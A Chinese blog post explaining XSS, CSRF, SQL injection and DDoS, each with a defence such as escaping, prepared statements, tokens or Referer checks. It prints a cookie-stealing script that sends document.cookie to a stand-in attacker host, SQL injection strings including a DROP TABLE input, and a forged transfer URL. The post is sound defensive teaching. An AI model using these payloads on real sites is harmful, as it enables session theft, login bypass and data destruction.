天天看點

總結幾種常見web攻擊手段及其防禦方式

本文簡單介紹幾種常見的攻擊手段及其防禦方式

  • XSS(跨站腳本攻擊)
  • CSRF(跨站請求僞造)
  • SQL注入
  • DDOS

web安全系列目錄

  • 總結幾種常見web攻擊手段極其防禦方式
  • 總結幾種常見的安全算法

XSS

概念

  • 全稱是跨站腳本攻擊(Cross Site Scripting),指攻擊者在網頁中嵌入惡意腳本程式。

案列

  • 比如說我寫了一個部落格網站,然後攻擊者在上面釋出了一個文章,内容是這樣的

    <script>window.open(“www.gongji.com?param=”+document.cookie)</script>

    ,如果我沒有對他的内容進行處理,直接存儲到資料庫,那麼下一次當其他使用者通路他的這篇文章的時候,伺服器從資料庫讀取後然後響應給用戶端,浏覽器執行了這段腳本,然後就把該使用者的cookie發送到攻擊者的伺服器了。

被攻擊的原因

  • 使用者輸入的資料變成了代碼,比如說上面的

    <script>

    ,應該隻是字元串卻有了代碼的作用。

預防

  • 将輸入的資料進行轉義處理,比如說講 < 轉義成&lt;

  • 通過sql指令僞裝成正常的http請求參數,傳遞到伺服器端,伺服器執行sql指令造成對資料庫進行攻擊

案例

  • ' or '1'= '1

    。這是最常見的sql注入攻擊,當我們輸如使用者名 jiajun ,然後密碼輸如

    'or '1'= '1

    的時候,我們在查詢使用者名和密碼是否正确的時候,本來要執行的是

    select * from user where username='' and password=''

    ,經過參數拼接後,會執行sql語句

    select * from user where username='jaijun' and password=' ' or ' 1'='1 '

    ,這個時候1=1是成立,自然就跳過驗證了。
  • 但是如果再嚴重一點,密碼輸如的是

    ';drop table user;--

    ,那麼sql指令為

    select * from user where username='jiajun' and password='';drop table user;--'

    這個時候我們就直接把這個表給删除了

  • sql語句僞造參數,然後在對參數進行拼接的後形成破壞性的sql語句,最後導緻資料庫受到攻擊

  • 在java中,我們可以使用預編譯語句(PreparedStatement),這樣的話即使我們使用sql語句僞造成參數,到了服務端的時候,這個僞造sql語句的參數也隻是簡單的字元,并不能起到攻擊的作用。
  • 很多orm架構已經可以對參數進行轉義
  • 做最壞的打算,即使被’拖庫‘('脫褲,資料庫洩露')。資料庫中密碼不應明文存儲的,可以對密碼使用md5進行加密,為了加大破解成本,是以可以采用加鹽的(資料庫存儲使用者名,鹽(随機字元長),md5後的密文)方式。

CSRF

  • 全稱是跨站請求僞造(cross site request forgery),指通過僞裝成受信任使用者的進行通路,通俗的講就是說我通路了A網站,然後cookie存在了浏覽器,然後我又通路了一個流氓網站,不小心點了流氓網站一個連結(向A發送請求),這個時候流氓網站利用了我的身份對A進行了通路。

  • 這個例子可能現實中不會存在,但是攻擊的方式是一樣的。比如說我登入了A銀行網站,然後我又通路了室友給的一個流氓網站,然後點了裡面的一個連結

    www.A.com/transfer?account=666&money=10000

    ,那麼這個時候很可能我就向賬号為666的人轉了1w軟妹币
  • 注意這個攻擊方式不一定是我點了這個連結,也可以是這個網站裡面一些資源請求指向了這個轉賬連結,比如說一個

  • 使用者本地存儲cookie,攻擊者利用使用者的cookie進行認證,然後僞造使用者送出請求

  • 之是以被攻擊是因為攻擊者利用了存儲在浏覽器用于使用者認證的cookie,那麼如果我們不用cookie來驗證不就可以預防了。是以我們可以采用token(不存儲于浏覽器)認證。
  • 通過referer識别,HTTP Referer是header的一部分,當浏覽器向web伺服器發送請求的時候,一般會帶上Referer,告訴伺服器我是從哪個頁面連結過來的,伺服器基此可以獲得一些資訊用于處理。那麼這樣的話,我們必須登入銀行A網站才能進行轉賬了。

  • 分布式拒絕服務攻擊(Distributed Denial of Service),簡單說就是發送大量請求是使伺服器癱瘓。DDos攻擊是在DOS攻擊基礎上的,可以通俗了解,dos是單挑,而ddos是群毆,因為現代技術的發展,dos攻擊的殺傷力降低,是以出現了DDOS,攻擊者借助公共網絡,将大數量的計算機裝置聯合起來,向一個或多個目标進行攻擊。

  • SYN Flood ,簡單說一下tcp三次握手,用戶端先伺服器送出請求,請求建立連接配接,然後伺服器傳回一個封包,表明請求以被接受,然後用戶端也會傳回一個封包,最後建立連接配接。那麼如果有這麼一種情況,攻擊者僞造ip位址,發出封包給伺服器請求連接配接,這個時候伺服器接受到了,根據tcp三次握手的規則,伺服器也要回應一個封包,可是這個ip是僞造的,封包回應給誰呢,第二次握手出現錯誤,第三次自然也就不能順利進行了,這個時候伺服器收不到第三次握手時用戶端發出的封包,又再重複第二次握手的操作。如果攻擊者僞造了大量的ip位址并送出請求,這個時候伺服器将維護一個非常大的半連接配接等待清單,占用了大量的資源,最後伺服器癱瘓。
  • CC攻擊,在應用層http協定上發起攻擊,模拟正常使用者發送大量請求直到該網站拒絕服務為止。

  • 伺服器帶寬不足,不能擋住攻擊者的攻擊流量

  • 最直接的方法增加帶寬。但是攻擊者用各地的電腦進行攻擊,他的帶寬不會耗費很多錢,但對于伺服器來說,帶寬非常昂貴。
  • 雲服務提供商有自己的一套完整DDoS解決方案,并且能提供豐富的帶寬資源

總結

  • 上面一共提到了4中攻擊方式,分别是xss攻擊(關鍵是腳本,利用惡意腳本發起攻擊),CSRF攻擊(關鍵是借助本地cookie進行認證,僞造發送請求),SQL注入(關鍵是通過用sql語句僞造參數發出攻擊),DDOS攻擊(關鍵是通過手段發出大量請求,最後令伺服器崩潰)
  • 之是以攻擊者能成功攻擊,使用者操作是一個原因,伺服器端沒有做好防禦是一個問題,因為無法控制使用者的操作,是以需要我們伺服器端的開發做好防禦。
  • 沒有覺得絕對安全,隻要更安全。

我覺得分享是一種精神,分享是我的樂趣所在,不是說我覺得我講得一定是對的,我講得可能很多是不對的,但是我希望我講的東西是我人生的體驗和思考,是給很多人反思,也許給你一秒鐘、半秒鐘,哪怕說一句話有點道理,引發自己内心的感觸,這就是我最大的價值。(這是我喜歡的一句話,也是我寫部落格的初衷)

作者:jiajun 出處: http://www.cnblogs.com/-new/

本文版權歸作者和部落格園共有,歡迎轉載,但未經作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文連接配接,否則保留追究法律責任的權利。如果覺得還有幫助的話,可以點一下右下角的【推薦】,希望能夠持續的為大家帶來好的技術文章!想跟我一起進步麼?那就【關注】我吧。